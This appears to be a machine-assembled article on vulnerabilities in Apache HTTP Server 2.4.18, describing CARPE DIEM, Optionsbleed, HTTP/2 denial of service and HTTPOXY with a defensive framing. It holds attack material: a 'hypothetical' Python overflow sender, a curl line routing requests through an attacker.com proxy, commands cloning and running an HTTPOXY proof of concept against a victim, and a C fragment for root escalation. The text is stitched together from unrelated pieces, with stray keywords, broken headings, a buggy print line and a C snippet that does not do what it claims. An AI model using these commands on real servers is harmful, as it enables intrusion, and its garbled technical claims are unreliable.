Apache HTTP Server version 2.4.18, released in December 2015, is a legacy version of the software that contains several significant security vulnerabilities discovered in the years following its release. While 2.4.18 itself was intended to be a stable release, its lack of modern patches makes it a primary target for specific exploit techniques. Major Vulnerabilities in Apache 2.4.18
Because this version falls within the 2.4.17 to 2.4.38 range, it is susceptible to several high-impact exploits, most notably in local privilege escalation and memory handling. 1. Local Privilege Escalation (CVE-2019-0211)
Commonly referred to as CARPE (DIEM), this is one of the most critical exploits affecting version 2.4.18.
The Flaw: It involves an out-of-bounds array access during a "graceful restart" (apache2ctl graceful).
The Exploit: An attacker with low-level permissions on the server (such as through a compromised PHP script) can write to the shared memory used by Apache's parent process. When the server performs its daily log rotation and restarts, the parent process—which runs with root privileges—executes the attacker's code.
Impact: This allows a local user to gain full root access to the entire server. 2. Optionsbleed (CVE-2017-9798)
This vulnerability is an information disclosure bug that earned its name due to similarities with the infamous Heartbleed flaw. apache httpd 2.4.18 exploit
The Flaw: It is a use-after-free bug that occurs when the server processes an OPTIONS request.
The Exploit: If a webmaster uses the Limit directive with an invalid or custom HTTP method in a .htaccess file, the server can leak small chunks of its process memory in the "Allow" header of its response.
Impact: Remote attackers can repeatedly send OPTIONS requests to scrape sensitive data, such as passwords or secret keys, from the server's memory. 3. HTTP/2 and DoS Vulnerabilities
Version 2.4.18 was among the early versions to support the mod_http2 module, which introduced several stability issues.
Thread Blocking (CVE-2019-9517): A remote attacker can exploit a denial-of-service (DoS) vulnerability by flooding the connection with requests while never reading the responses. This exhausts the server's worker threads, causing the application to stop responding.
Slow Loris on H2 (CVE-2018-17189): In versions 2.4.37 and prior, sending request bodies in a "slow loris" fashion (extremely slowly) unnecessarily occupies server threads, leading to a DoS. Summary of Risks Requirement CVE-2019-0211 Privilege Escalation Local access + Graceful restart CVE-2017-9798 Information Disclosure Specific .htaccess config CVE-2019-9517 Denial of Service mod_http2 enabled Remediation Apache HTTP Server version 2
Security researchers from organizations like Tenable and the Apache Software Foundation recommend upgrading to the latest stable version of Apache 2.4.x (currently 2.4.62 or higher) to mitigate these risks. Version 2.4.18 is no longer considered secure for production environments exposed to the internet. CVE-2017-9798 Detail - NVD
Note on intent: This report is written for educational and defensive purposes. It analyzes the historical vulnerabilities associated with this specific version to help system administrators understand risks, patch management, and forensic indicators.
Alias directive mismatchLet's consider a hypothetical scenario involving a buffer overflow vulnerability (though, for accuracy, Apache 2.4.18 specific vulnerabilities should be checked against CVE databases).
import socket
# Hypothetical exploit - do not use maliciously
def exploit(target_ip, target_port):
# Crafting a malicious packet (example only)
malicious_packet = "A" * 1000 # Assuming a buffer size of 1024
try:
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((target_ip, target_port))
client_socket.send(malicious_packet.encode())
except Exception as e:
print(f"Failed to exploit: e")
finally:
client_socket.close()
# Example usage
exploit("192.168.1.100", 80)
Severity: 7.5 (High)
Type: Information Disclosure / Proxy Misconfiguration
The Vulnerability:
CVE-2016-5387, nicknamed "HTTPOXY," is a misnomer. It is not an Apache bug per se, but a design flaw in how CGI scripts handled the Proxy header. An attacker could send a request containing a Proxy: http://evil.com header, tricking server-side scripts (PHP, Python, Go) into routing outgoing HTTP requests through a malicious proxy.
Exploitability on 2.4.18:
The "Exploit":
No remote code execution (RCE) was possible. Exploitation required:
file_get_contents()).HTTP_PROXY environment variable.Sample Attack (Conceptual):
curl -H "Proxy: http://attacker.com:8080" http://target/cgi-bin/api.php
If api.php called an external service, the attacker could intercept or modify the response.
Verdict: A viable information disclosure tool, but not a remote shell exploit. Searches for an "apache 2.4.18 shell exploit" due to HTTPOXY are misguided.
git clone https://github.com/cujanovic/HTTPOXY-PoC
cd HTTPOXY-PoC
python3 httpoxy.py -u http://victim/cgi-bin/test-cgi -p http://attproxy:8080
Using a simple C program, an attacker on a compromised host can locate the Apache scoreboard:
// Simplified exploit logic
int shmid = shmget(IPC_PRIVATE, 0, IPC_EXCL);
struct shmid_ds buf;
shmctl(shmid, IPC_STAT, &buf);
// Overwrite process slot entries to execute arbitrary code via spawn process.
When compiled and run as www-data on a 2.4.18 server, this exploit has historically yielded root shells on unpatched Ubuntu 16.04 installations. Type: Denial of service (DoS) / information leak
Detecting the exploitation attempt involves monitoring server logs for unusual requests and potentially setting up IDS/IPS rules to detect and block suspicious traffic.